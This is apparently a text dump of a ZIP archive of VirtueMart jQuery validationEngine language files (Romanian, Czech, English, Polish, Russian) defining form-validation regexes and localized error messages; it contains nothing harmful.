/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Adresa de email eronata" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Numar intreg eronat" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Numar zecimal eronat" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data eronata, formatul de introducere este: YYYY-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Adresa IP eronata" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL eronat" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Doar numere" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Doar litere" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Caracterele speciale (',', '.', '-', etc) nu sunt permise" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Acest nume de utilizator este deja folosit", "alertTextLoad": "* Se valideaza, va rugam asteptati" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Acest nume este deja folosit", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Acest nume este disponibil", // speaks by itself "alertTextLoad": "* Se valideaza, va rugam asteptati" }, "validate2fields": { "alertText": "* Introduceti: HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\Ncom_virtuemart_update/components/com_virtuemart/assets/js/languages/index.htmlnuW+APKtl>\QCտ!!acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-cz.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Tato položka je povinná", "alertTextCheckboxMultiple": "* Prosím vyberte jednu možnost", "alertTextCheckboxe": "* Tato položka je povinná" }, "minSize": { "regex": "none", "alertText": "* Minimálně ", "alertText2": " znaky" }, "maxSize": { "regex": "none", "alertText": "* Maximálně ", "alertText2": " znaky" }, "min": { "regex": "none", "alertText": "* Minimální hodnota je " }, "max": { "regex": "none", "alertText": "* Maximální hodnota je " }, "past": { "regex": "none", "alertText": "* Date prior to " }, "future": { "regex": "none", "alertText": "* Date past " }, "maxCheckbox": { "regex": "none", "alertText": "* Počet vybraných položek přesáhl limit" }, "minCheckbox": { "regex": "none", "alertText": "* Prosím vyberte ", "alertText2": " volbu" }, "equals": { "regex": "none", "alertText": "* Pole se neshodují" }, "CZphone": { // telefoní číslo "regex": /^([\+][0-9]{1,3}[ \.\-])([0-9]{3}[\-][0-9]{3}[\-][0-9]{3})$/, "alertText": "* Neplatné telefoní číslo, zadejte ve formátu +420 598-598-895" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Invalid phone number" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Neplatná emailová adresa" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Zadejte pouze čísla" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Neplatné číslo" }, "CZdate": { // datum ve formátu jak se používá v čr "regex": /^(0[1-9]|[12][0-9]|3[01])[. /.](0[1-9]|1[012])[. /.](19|20)\d{2}$/, "alertText": "* Neplatné datum, datum musí být ve formátu den.měsíc.rok (dd.mm.rrrr)" }, "date": { // Date in ISO format. Credit: bassistance "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Neplatné datum, datum musí být ve formátu YYYY-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Neplatná IP adresa" }, //česká syntaxe pro rodné číslo "rc": { "regex": /^\d{2}((0[1-9]|1[012])|(5[1-9]|6[012]))(0[1-9]|[12][0-9]|3[01])\/([0-9]{2,4})$/, "alertText": "* Neplatné rodné číslo, tvar musí být 895431/4567" }, //poštovní směrovací číslo "psc": { "regex": /^\d{3}[ \.\-]\d{2}$/, "alertText": "* Neplatné poštovní směrovací číslo, tvar musí být 456 45" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Neplatný odkaz" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Pouze čísla" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Pouze písmena" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Pouze písmena a číslice" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Uživatelské jméno je již použito", "alertTextLoad": "* Ověřování, prosím čekejte" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Uživatelské jméno je již použito", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Toto jméno je k dispozici", // speaks by itself "alertTextLoad": "* Ověřování, prosím čekejte" }, "validate2fields": { "alertText": "* Prosím napište HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\G acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-en.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* This field is required", "alertTextCheckboxMultiple": "* Please select an option", "alertTextCheckboxe": "* This checkbox is required" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " characters allowed" }, "maxSize": { "regex": "none", "alertText": "* Maximum ", "alertText2": " characters allowed" }, "min": { "regex": "none", "alertText": "* Minimum value is " }, "max": { "regex": "none", "alertText": "* Maximum value is " }, "past": { "regex": "none", "alertText": "* Date prior to " }, "future": { "regex": "none", "alertText": "* Date past " }, "maxCheckbox": { "regex": "none", "alertText": "* Maximum ", "alertText2": " options allowed" }, "minCheckbox": { "regex": "none", "alertText": "* Please select ", "alertText2": " options" }, "equals": { "regex": "none", "alertText": "* Fields do not match" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Invalid phone number" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Invalid email address" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Not a valid integer" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Invalid floating decimal number" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Invalid date, must be in YYYY-MM-DD format" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Invalid IP address" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Invalid URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Numbers only" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Letters only" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* No special characters allowed" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxUserCallPhp": { "url": "phpajax/ajaxValidateFieldUser.php", // you may want to pass extra data on the ajax call "extraData": "name=eric", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This username is available", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* This name is already taken", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This name is available", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "ajaxNameCallPhp": { // remote json service location "url": "phpajax/ajaxValidateFieldName.php", // error "alertText": "* This name is already taken", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "validate2fields": { "alertText": "* Please input HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\^acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-pl.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Pole wymagane", "alertTextCheckboxMultiple": "* Proszę wybrać opcję", "alertTextCheckboxe": "* Pole wymagane" }, "minSize": { "regex": "none", "alertText": "* Minimalna liczba znaków to ", "alertText2": "" }, "maxSize": { "regex": "none", "alertText": "* Maksymalna liczba znaków to ", "alertText2": "" }, "min": { "regex": "none", "alertText": "* Najmniejsza wartość to " }, "max": { "regex": "none", "alertText": "* Największa wartość to " }, "past": { "regex": "none", "alertText": "* Data musi być wcześniejsza niż " }, "future": { "regex": "none", "alertText": "* Data musi być późniejsza niż " }, "maxCheckbox": { "regex": "none", "alertText": "* Przekroczona maksymalna liczba opcji" }, "minCheckbox": { "regex": "none", "alertText": "* Minimalna liczba opcji to ", "alertText2": "" }, "equals": { "regex": "none", "alertText": "* Pola nie są jednakowe" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Nieprawidłowy numer telefonu" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Nieprawidłowy adres e-mail" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Nieprawidłowa liczba całkowita" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Nieprawidłowa liczba dziesiętna" }, "CZdate": { // Date in Polish format, regex taken from Czech translation "regex": /^(0[1-9]|[12][0-9]|3[01])[. /.](0[1-9]|1[012])[. /.](19|20)\d{2}$/, "alertText": "* Data musi być w postaci DD.MM.RRRR" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data musi być w postaci RRRR-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Nieprawidłowy adres IP" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Nieprawidłowy adres internetowy" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Tylko liczby" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Tylko litery" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Tylko litery i liczby" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Nazwa użytkownika jest już zajęta", "alertTextLoad": "* Walidacja, proszę czekać" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Nazwa jest już zajęta", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Nazwa jest dostępna", // speaks by itself "alertTextLoad": "* Walidacja, proszę czekać" }, "validate2fields": { "alertText": "* Proszę wpisać HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\ԯacom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-ru.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Необходимо заполнить", "alertTextCheckboxMultiple": "* Вы должны выбрать вариант", "alertTextCheckboxe": "* Необходимо отметить" }, "minSize": { "regex": "none", "alertText": "* Минимум ", "alertText2": " символа(ов)" }, "maxSize": { "regex": "none", "alertText": "* Максимум ", "alertText2": " символа(ов)" }, "min": { "regex": "none", "alertText": "* Минимальное значение " }, "max": { "regex": "none", "alertText": "* Максимальное значение " }, "past": { "regex": "none", "alertText": "* Дата до " }, "future": { "regex": "none", "alertText": "* Дата от " }, "maxCheckbox": { "regex": "none", "alertText": "* Нельзя выбрать столько вариантов" }, "minCheckbox": { "regex": "none", "alertText": "* Пожалуйста, выберите ", "alertText2": " опцию(ии)" }, "equals": { "regex": "none", "alertText": "* Поля не совпадают" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Неправильный формат телефона" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": 